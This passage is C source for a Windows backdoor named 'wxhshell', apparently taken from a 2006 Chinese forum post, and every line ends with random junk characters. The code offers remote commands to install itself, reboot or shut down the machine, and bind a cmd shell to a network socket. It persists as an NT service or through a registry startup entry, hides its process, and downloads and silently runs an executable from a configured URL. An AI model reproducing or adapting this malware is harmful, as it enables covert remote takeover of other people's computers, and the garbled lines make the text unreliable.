  // 安装 ,K PrUM}  
  case 'i': { 9.#")%_p  
    if(Install()) #8BI`.t)j  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); hD,|CQ  
    else D+q z`  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Z^WI~B0nt  
    break; YzEOfHL,  
    } 1C*mR%Q  
  // 卸载 {FILt3f;  
  case 'r': { * {p:C  
    if(Uninstall()) i!(5y>I_  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); x~D8XN{  
    else 2<'ol65/c  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); :eevc7  
    break; I,]q;lEMt  
    } :RBeq,QaO  
  // 显示 wxhshell 所在路径 #~w~k+E4  
  case 'p': { g~9b_PY9  
    char svExeFile[MAX_PATH]; k!6m'}v  
    strcpy(svExeFile,"\n\r"); l!\~T"-7;:  
      strcat(svExeFile,ExeFile); H_1&>@ 3  
        send(wsh,svExeFile,strlen(svExeFile),0); &Rz-;66bN  
    break; K&"X7fQ  
    } @ @(O##(7  
  // 重启 T5:xia>8O  
  case 'b': { 7pnlS*E.  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); I@#IXH?6  
    if(Boot(REBOOT)) ,WW=,P  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Z,~@_;F  
    else { rx<P#y]3)  
    closesocket(wsh); =fB"T+  
    ExitThread(0); K;w]sN+I  
    } N+pCC  
    break; g$/7km{TP  
    } pRjrMS  
  // 关机 wMCgL h\wi  
  case 'd': { 2l:cP2fa  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); 6UqDpL7^U  
    if(Boot(SHUTDOWN)) 13Q87i5B  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); *Aug7 HlS  
    else { p^ OHLT  
    closesocket(wsh); N'pYz0_H  
    ExitThread(0); +4[9Eb'k=  
    } h b}QtQ  
    break; - _ %~b  
    } 'jy e*  
  // 获取shell :<5jlpV(  
  case 's': { <HpUP!q8v  
    CmdShell(wsh); Ufor>  
    closesocket(wsh); t"MrrK>T  
    ExitThread(0); P1Iy >%3  
    break; 'Ddzlip  
  } w:=:D=xH2  
  // 退出 6 Pdao{P  
  case 'x': { q{f (T\  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 5as5{"l  
    CloseIt(wsh); 'cc{sjG  
    break; Np$ue }yr  
    } GsiKL4|mj  
  // 离开 h1f 05  
  case 'q': { j|XL$Q  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); -q? ,  
    closesocket(wsh); ]kO|kIs  
    WSACleanup(); VAqZ`y  
    exit(1); .}(X19R  
    break; |PGTP#O<  
        } 95ix~cH3q  
  } TWfk r  
  } Ya!PV&"Z  
<l eE.hhf.  
  // 提示信息 ;Qc^xIPy  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); WQB V~.<Yv  
} G%K&f1q%  
  } yOk{l$+  
Jq8v69fyQ  
  return; 8{6`?qst@  
} -%V~ 1  
<B @z>V  
// shell模块句柄 PO:sF]5  
int CmdShell(SOCKET sock) !>GDp>0  
{ jQBn\^w  
STARTUPINFO si; HLc3KYIk  
ZeroMemory(&si,sizeof(si)); U % ?+N  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 3l$D%y  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; lW4 6S  
PROCESS_INFORMATION ProcessInfo; i4M%{]G3Y  
char cmdline[]="cmd"; M(^ e)7a1  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); \#F>R,  
  return 0; 5%@~"YCo  
} bPV;"  
VS_I'SPPIc  
// 自身启动模式 s E;2;2u"  
int StartFromService(void) ni<\ AF]`  
{ 8u1?\SYnb  
typedef struct <vxTfE@>bp  
{ }2Y`Lr  
  DWORD ExitStatus; (''w$qq"D  
  DWORD PebBaseAddress; *,=8x\Shp  
  DWORD AffinityMask; 9j5-/   
  DWORD BasePriority; 3[ xHY@c  
  ULONG UniqueProcessId; K=pG,[ChA  
  ULONG InheritedFromUniqueProcessId; ^nDa-J$  
}   PROCESS_BASIC_INFORMATION; ~4mRm!DP  
UoSc<h|  
PROCNTQSIP NtQueryInformationProcess; 8~|v:qk  
VAe[x `  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; >Qg-dJt[  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; D/,(xWaT  
cu)B!#<!&  
  HANDLE             hProcess; 6 tB\X^  
  PROCESS_BASIC_INFORMATION pbi;  J2Qt!-  
5Z=GFKf|  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); Il#ST  
  if(NULL == hInst ) return 0; S5YEz XG  
iI &z5Q2  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); XdnpL$0  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); E*s _Y  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); Zt9ld=T  
_!w69>Nj  
  if (!NtQueryInformationProcess) return 0; 9Q 7342  
Zvra >%  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); Kb'4W-&u!  
  if(!hProcess) return 0; +HgyM0LFg  
^SM5oK  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; {Eqx'j  
*uKYrs [  
  CloseHandle(hProcess); u_FN'p=.  
{]dvzoE]  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); "EE (O9q  
if(hProcess==NULL) return 0; t oM+Bd:Y  
[lu+"V,<LJ  
HMODULE hMod; X}ihYM3y/  
char procName[255]; U_Q;WPJ  
unsigned long cbNeeded; cxx8I  
- Nt8'-  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); D<WGau2H  
{CFy %  
  CloseHandle(hProcess); (Bv~6tj~J  
[ /<kPi  
if(strstr(procName,"services")) return 1; // 以服务启动 <)Y jVGG  
<Ynrw4[)t  
  return 0; // 注册表启动 ~n(LBA  
} 0r?]b*IEK  
$FZcvo3@*S  
// 主模块 B$7Cjv  
int StartWxhshell(LPSTR lpCmdLine) y k\/Cf  
{ 2+*o^`%4P  
  SOCKET wsl; t[AA=  
BOOL val=TRUE; .z*}%,G  
  int port=0; 0WyOORuK  
  struct sockaddr_in door; H.o3d/8:  
Ag&K@%|*  
  if(wscfg.ws_autoins) Install(); /_yAd,^-+  
h<n2pz}  
port=atoi(lpCmdLine); *r7%'K{ C  
6]4=8! J  
if(port<=0) port=wscfg.ws_port; 8m#y>`  
$I<\Yuy-M9  
  WSADATA data; D u_ ;!E  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; {!!8 *ix  
(`R heEg@f  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   &!FI!T -WH  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); }FX:sa?5  
  door.sin_family = AF_INET; fUOQ(BGp  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); HYZp= *eb  
  door.sin_port = htons(port); S>Gb Jt(]  
z f >(Y7M  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { o|_9%o52'  
closesocket(wsl); _B vGEM`o  
return 1; WmRu3O  
} IGlM} ?x  
}Nma %6PfV  
  if(listen(wsl,2) == INVALID_SOCKET) { EoS6t  
closesocket(wsl); E?VOst&  
return 1; ]O0u.=1k  
} 'aS: Azb  
  Wxhshell(wsl); V >~\~H2Y  
  WSACleanup(); Zv9%}%7p  
e2pFX?  
return 0; ~ NO7@m uw  
1O1MB&5%  
} -$,'|\Y  
=Ew77  
// 以NT服务方式启动 n;QFy5HB8  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) _:Jma  
{ p[;@9!t  
DWORD   status = 0; 8~O0P=  
  DWORD   specificError = 0xfffffff; B3I0H6O  
O5:[]vIn  
  serviceStatus.dwServiceType     = SERVICE_WIN32; A+z}z@K  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; 1DN  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; jLw|F-v-l<  
  serviceStatus.dwWin32ExitCode     = 0; -U;=]o1  
  serviceStatus.dwServiceSpecificExitCode = 0; Dv4 H^  
  serviceStatus.dwCheckPoint       = 0; zhY]!  
  serviceStatus.dwWaitHint       = 0; f=Oj01Ut*  
.\3gb6S}  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); ~K ('t9|  
  if (hServiceStatusHandle==0) return; t Q.%f:|  
Q<yvpT(  
status = GetLastError(); t"5ZYa  
  if (status!=NO_ERROR) $2a_!/  
{ 6zGeGW  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ]H<}6}Gd  
    serviceStatus.dwCheckPoint       = 0; hE'>8{  
    serviceStatus.dwWaitHint       = 0; x Vw1  
    serviceStatus.dwWin32ExitCode     = status; ]@CXUa,>a  
    serviceStatus.dwServiceSpecificExitCode = specificError; |;"(C# B  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); ?uW} XAi  
    return; ~b%dBn]n>  
  } Oe;1f#` 5  
Fz5eCe\B  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; Ci2*5n<  
  serviceStatus.dwCheckPoint       = 0; g\*2w @  
  serviceStatus.dwWaitHint       = 0; <<-BQ l~  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); (%9J( 4  
} zKh<zj  
ViUx^e\  
// 处理NT服务事件,比如:启动、停止 L^2wEF  
VOID WINAPI NTServiceHandler(DWORD fdwControl) hI*6f3Vn(n  
{ 'u_j5  
switch(fdwControl) W'e{2u  
{ TxTxyYd  
case SERVICE_CONTROL_STOP: TiJ \J{  
  serviceStatus.dwWin32ExitCode = 0; biU ?>R  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; M7YbRl  
  serviceStatus.dwCheckPoint   = 0; =>O{hT ^F  
  serviceStatus.dwWaitHint     = 0; *=Ma5J.  
  { |`+ (O  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); '}q/;}ih  
  } kZfj"+p_S  
  return; eu//Q'W  
case SERVICE_CONTROL_PAUSE: *g4Uo{  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; .Vs|&c2im  
  break; 7324#HwS  
case SERVICE_CONTROL_CONTINUE: 5JG`FRW!  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; om6`>I*  
  break; 3w/z$bj  
case SERVICE_CONTROL_INTERROGATE: b$tf9$f  
  break; GKG:iR)  
}; {yMkd4v  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); "S>VqvH3  
} j_b/66JyN  
Zj0h0Vt  
// 标准应用程序主函数 Z5`V\$  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) PH?<)Wj9i  
{ ('.I)n  
8[a N5M]  
// 获取操作系统版本 ~h%H;wC&  
OsIsNt=GetOsVer(); E_{P^7Z|Jg  
GetModuleFileName(NULL,ExeFile,MAX_PATH); g O8~$Aj  
#(Yd'qKo  
  // 从命令行安装 i6O'UzD@T  
  if(strpbrk(lpCmdLine,"iI")) Install(); %Siw>  
SUL\|z`5  
  // 下载执行文件 oq (W|  
if(wscfg.ws_downexe) { nd5.Py$  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) 2\F'So  
  WinExec(wscfg.ws_filenam,SW_HIDE); sBNqg~HwB?  
} AR g]GV/L  
|Vp ?  
if(!OsIsNt) { `*]r+J2  
// 如果时win9x,隐藏进程并且设置为注册表启动 zY].ZS=7  
HideProc(); .m xc~  
StartWxhshell(lpCmdLine); YDgG2hT/2  
} cu#r#0U-  
else 'yh)6mid  
  if(StartFromService()) +u lxCm_lV  
  // 以服务方式启动 %iZ~RTY6 !  
  StartServiceCtrlDispatcher(DispatchTable); qr~zTBT] E  
else P7 5@Yu(  
  // 普通方式启动 gmOP8.g  
  StartWxhshell(lpCmdLine); Ia:M+20n  
ho!qXS  
return 0; TnuA uui*  
}
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只看该作者 1 发表于: 2006-10-10
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